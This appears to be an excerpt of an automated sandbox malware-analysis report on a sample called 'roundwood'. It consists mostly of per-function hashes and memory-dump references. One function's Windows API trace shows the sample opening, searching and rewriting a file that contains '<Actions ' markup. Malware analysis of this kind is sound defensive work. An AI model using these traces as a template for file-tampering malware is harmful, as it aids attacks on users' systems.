                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9612D534A057859FEB21CF18C58079EBBF1BF96710F14859AE8A58B381C338ED46CB65
                                                                                                                                                                                                            Function 00442B10 Relevance: .5, Instructions: 474COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 873571734b46908c23de2a9ae6b9989397ee1cde3a23e753d5dfb42290629ecf
                                                                                                                                                                                                            • Instruction ID: 55551379100cdf018b1de4a285b7f8ac93436360615d4dad2d0621f8c6cf7646
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 873571734b46908c23de2a9ae6b9989397ee1cde3a23e753d5dfb42290629ecf
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BA021430A017459FEB24CF18C580AAFB7F1FF41310F54855AE8A58B391D379AD46CBA4
                                                                                                                                                                                                            Function 00441EB0 Relevance: .5, Instructions: 474COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 55246aaccc6255ecd0cb00e4f85a6f18806050463415470c8e688bca06ee7ecd
                                                                                                                                                                                                            • Instruction ID: cc554ed878a3e3a83374983980d7ee594483d7f74ccf43b721c7f55668250d4c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 55246aaccc6255ecd0cb00e4f85a6f18806050463415470c8e688bca06ee7ecd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 79020630A017459FEB24CF28C5806AFB7F1FF41310F54819AE8A58B391D7B8AD86C7A5
                                                                                                                                                                                                            Function 00443770 Relevance: .5, Instructions: 473COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: c265ff65fe4c7ddf80da19a666888597f66043daa1ae6aea08b2ec6ac2f3f707
                                                                                                                                                                                                            • Instruction ID: 2a274e8a1ad40154ec6af4747db823c3f994c06c50863bccb78ad997ff61118a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c265ff65fe4c7ddf80da19a666888597f66043daa1ae6aea08b2ec6ac2f3f707
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AC021530A017459FEB20CF18C490AAEB7F1FF41B11F18815AE8E59B391D339AE46CB94
                                                                                                                                                                                                            Function 00441240 Relevance: .5, Instructions: 471COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 6df987b23289ee04ce400f9caf8f2ac37f746e7da7383059cc081eab776726bd
                                                                                                                                                                                                            • Instruction ID: e8756846642be90abbdebc3e51230c0e069d03c092d075b54a71e7ce150ad093
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6df987b23289ee04ce400f9caf8f2ac37f746e7da7383059cc081eab776726bd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B702E730A057459FEB20CF18C580AAFB7F1FF91310F18855AE8A68B3A1D738AD82C755
                                                                                                                                                                                                            Function 004090E0 Relevance: .5, Instructions: 466COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: a663dd55d58596cb96512908de84d3ffce2d6009d3170a9e5fb7a2fdfdc5c926
                                                                                                                                                                                                            • Instruction ID: 2f667d1f173bafce8e1427c15ece2f47d9d4cf61a284c9476ac3f855bb14d006
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a663dd55d58596cb96512908de84d3ffce2d6009d3170a9e5fb7a2fdfdc5c926
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 56F19D71A0021AABDB10CF59D984BAFB7B4FF89314F10416AED05AB382D779DD41CBA4
                                                                                                                                                                                                            Function 0043A7A0 Relevance: .5, Instructions: 457COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: bc633f8a66651507d519b18302154a8b56194e6f441ade08eecc1b0582a71b74
                                                                                                                                                                                                            • Instruction ID: 9c2bf2eb3bc8d3effd0330e87da942dcbd05d366be1e22ae6a96fd6cb05b729e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bc633f8a66651507d519b18302154a8b56194e6f441ade08eecc1b0582a71b74
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F2123971E002198FCF08CF99C9906ADFBF2BF88314F18916AD899AB754D738A951CB54
                                                                                                                                                                                                            Function 004403F0 Relevance: .4, Instructions: 410COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 42139abc3ffd798a773c451483f9a31d36512b6a1ddc4dab2380ab3743eb7a2d
                                                                                                                                                                                                            • Instruction ID: c261eb99067101d40d0f18de06a2b3948b1c8e435b3aa0119f3931cf21f67512
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 42139abc3ffd798a773c451483f9a31d36512b6a1ddc4dab2380ab3743eb7a2d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 79E12930A057459FFB25CF28C4906AEBBE1FF92310F1481AFD5E64B391C239A856CB55
                                                                                                                                                                                                            Function 0044A410 Relevance: .4, Instructions: 390COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 07a28db560a375c6abcebf6c3ee7d3ff37af9ee48000ecd15332263634e69ec2
                                                                                                                                                                                                            • Instruction ID: 3a9d95ed390408800039c1f3849d26610303243ba5ea242cbb4dce25a4e3c13c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 07a28db560a375c6abcebf6c3ee7d3ff37af9ee48000ecd15332263634e69ec2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 18E10430E046558FDB08CF68C5806ADBBF2EF89310F28C1AED895DB342D639DA46CB55
                                                                                                                                                                                                            Function 0043BC40 Relevance: .3, Instructions: 333COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: d418897d6c6a607d9eedbaecd746079996b30e4215d991710b5601b1c0f57d78
                                                                                                                                                                                                            • Instruction ID: 5a37b0648728958f0288bb4f7ac6d4aba95f21994ba20fc5e025a7a006478983
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d418897d6c6a607d9eedbaecd746079996b30e4215d991710b5601b1c0f57d78
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CDD14772E0021A8FCB18CF99C9816EEFBB2FF98310F15912AD955AB744D734A901CF94
                                                                                                                                                                                                            Function 0044DFC3 Relevance: .2, Instructions: 236COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 30296fb46389e41053c9c1891a2e91179b26c183d1817db7ada92d60d53047d1
                                                                                                                                                                                                            • Instruction ID: 04dee21a32c53965aa5b938a88bd97a44c4ba16e36ef5f5c0a04e954fdb79b0e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 30296fb46389e41053c9c1891a2e91179b26c183d1817db7ada92d60d53047d1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6381A4319893918BCB95DF38C8D55D6BBB1EE4322432D85DDC8940EA03E22F651BDF51
                                                                                                                                                                                                            Function 00406B60 Relevance: .2, Instructions: 233COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 8c780ae43a90426060a3544af387a16ad49e5268ea46b211455b66f1143b4994
                                                                                                                                                                                                            • Instruction ID: 9376e5c992562f3e00e2254617bc072180117d3474245450927de628b66f820d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8c780ae43a90426060a3544af387a16ad49e5268ea46b211455b66f1143b4994
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8D814171D01215AFDB50EFA5C841B9EB7B5AF48314F26847EE805B7381D738AD11CBA8
                                                                                                                                                                                                            Function 0043C780 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 3090cd04c4ac406685f1ab0f7046645eb9a7970325283ab6b837acbd2454e769
                                                                                                                                                                                                            • Instruction ID: 52b51f466a7fff8df6a645b0fc373324c6dabd8578bc889902f10df3be222477
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3090cd04c4ac406685f1ab0f7046645eb9a7970325283ab6b837acbd2454e769
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D951C433F215214BF348EA7ACC8415A73D3EBCA31075AC23AD901DB395E974E96396C4
                                                                                                                                                                                                            Function 0040EA40 Relevance: .2, Instructions: 158COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 7903d2f27aa9249a91df88b3081f7ec253c2a7590132b0b29ce9056827596fcf
                                                                                                                                                                                                            • Instruction ID: 1e85c0a7481e4e4fd660c7700b1cffa9ef74280aecd845eca65ecbbee168b463
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7903d2f27aa9249a91df88b3081f7ec253c2a7590132b0b29ce9056827596fcf
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A8518C7190C3918BD311CF2AC48066BBBE1AFDA314F044E6EF8C4A7351D7799A498B96
                                                                                                                                                                                                            Function 0043C5A0 Relevance: .1, Instructions: 147COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: a2b513c737e90aa001c187f0fd3e76af3dd05bb8b1f1583072d2ffb077b327e0
                                                                                                                                                                                                            • Instruction ID: 233641ecc840252a1fc0e28f7a8495337fee8d5f73a79ec8e34192ffb94c1fa4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a2b513c737e90aa001c187f0fd3e76af3dd05bb8b1f1583072d2ffb077b327e0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9F41C277E51A3947F3188949CD81744AA52ABCC324F2B83B5CD2C6B356D8B9ED039AD0
                                                                                                                                                                                                            Function 0040EC60 Relevance: .1, Instructions: 142COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 677ccf3ef613ba1445ea4e47055c97133223e5db12119d95f35b79f51fc9afce
                                                                                                                                                                                                            • Instruction ID: 982f5cbd81f6543f6bfa01c041187c3b3289f829b31c426caf68f299339906e7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 677ccf3ef613ba1445ea4e47055c97133223e5db12119d95f35b79f51fc9afce
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D851C27150C3A28BD311CF2AC48466BBBE1AFD9314F084E6EE8D497351D378DA49CB96
                                                                                                                                                                                                            Function 0042E6E0 Relevance: .1, Instructions: 74COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 9e70f0b26bb4a857cbc1470cafd2cc077ff3004965e96456ca00bb8093ff93c1
                                                                                                                                                                                                            • Instruction ID: aa575491994ff2620d76e793d25d9d15f22605b549845f0db131f6ffb0de12b4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9e70f0b26bb4a857cbc1470cafd2cc077ff3004965e96456ca00bb8093ff93c1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CC217C339B44BB02E7508E728C8463277E3DFCB606FAF85B6D648C7652D23DD4029124
                                                                                                                                                                                                            Function 00414540 Relevance: .1, Instructions: 53COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: c960c60330ea37f4af0813ec166c04039a4088d48b185995a0ca47779f0b5bce
                                                                                                                                                                                                            • Instruction ID: d8bd486f3b2b5881354ed63866940f8bb74c1bb7b7e3e17938e3daae00a15605
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c960c60330ea37f4af0813ec166c04039a4088d48b185995a0ca47779f0b5bce
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3801C93B074E0E638519411C5024AFA11425B9279A7D4062BABCBD83D1EFCDD8D7D04F
                                                                                                                                                                                                            Function 00413DA0 Relevance: .0, Instructions: 40COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: c0dfc14e31f44cf4e014f2097966a418c44037349c65fa29245ceabfdf450b4f
                                                                                                                                                                                                            • Instruction ID: aaf8394e51d366f1cbaff26a72c6c9576496a1c1027a8e2768253c57e0b02b0d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c0dfc14e31f44cf4e014f2097966a418c44037349c65fa29245ceabfdf450b4f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4C01F2B19043289FEB20CF54D88579ABBB4FB01304F40809DE98D93280C3B51A94CB96
                                                                                                                                                                                                            Function 00406800 Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 6330c77cc73779100b967b3bed00ed2b0f65b3f262f43be70dde04e2a63f31f2
                                                                                                                                                                                                            • Instruction ID: 7532f4c657dbcf864b1e0f3702b5c669a99d63d3a165ab0069a886a8ac68f27f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6330c77cc73779100b967b3bed00ed2b0f65b3f262f43be70dde04e2a63f31f2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4AC04C36111850CFC642DB08E144D81B3E4EF05631B0A84C5A4055B621C234ED41CA40
                                                                                                                                                                                                            Function 004034E9 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 292memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 0040351B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 00403567
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 0040356E
                                                                                                                                                                                                            • memset.MSVCRT ref: 00403586
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 004035A0
                                                                                                                                                                                                            • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 004035C3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004035DA
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004035EE
                                                                                                                                                                                                            • ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00403643
                                                                                                                                                                                                            • wcsstr.MSVCRT ref: 00403662
                                                                                                                                                                                                            • wcsstr.MSVCRT ref: 00403695
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040372B
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0040375C
                                                                                                                                                                                                            • SetEndOfFile.KERNEL32(00000000), ref: 00403763
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040376A
                                                                                                                                                                                                            • VariantInit.OLEAUT32(00000000), ref: 0040379B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004037F7
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004037FA
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00403807
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040380A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040381D
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00403820
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040382D
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00403830
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2033223674.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_roundwood.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$File$Process$FreePointerValidatewcsstr$AllocCloseCreateHandleInitModuleNameReadSizeVariantWrite_snwprintfmemset
                                                                                                                                                                                                            • String ID: 00-->$<Actions $p=)u
                                                                                                                                                                                                            • API String ID: 3028510665-3614734336
                                                                                                                                                                                                            • Opcode ID: 03d92ed9c350a22cff9bf3ba1b65dc31ee79c9631ebe11a42a2e6577e904a005
                                                                                                                                                                                                            • Instruction ID: 013638ac99e31dc1b3f0b1cbc1bcbf050739cfec6944e8e6b412d7e6261d8edc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 03d92ed9c350a22cff9bf3ba1b65dc31ee79c9631ebe11a42a2e6577e904a005
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 32A1C0B1500311ABC720DF64CC49F5B7BA8EFC8751F048A69FA49A7391D774EA04CBA4
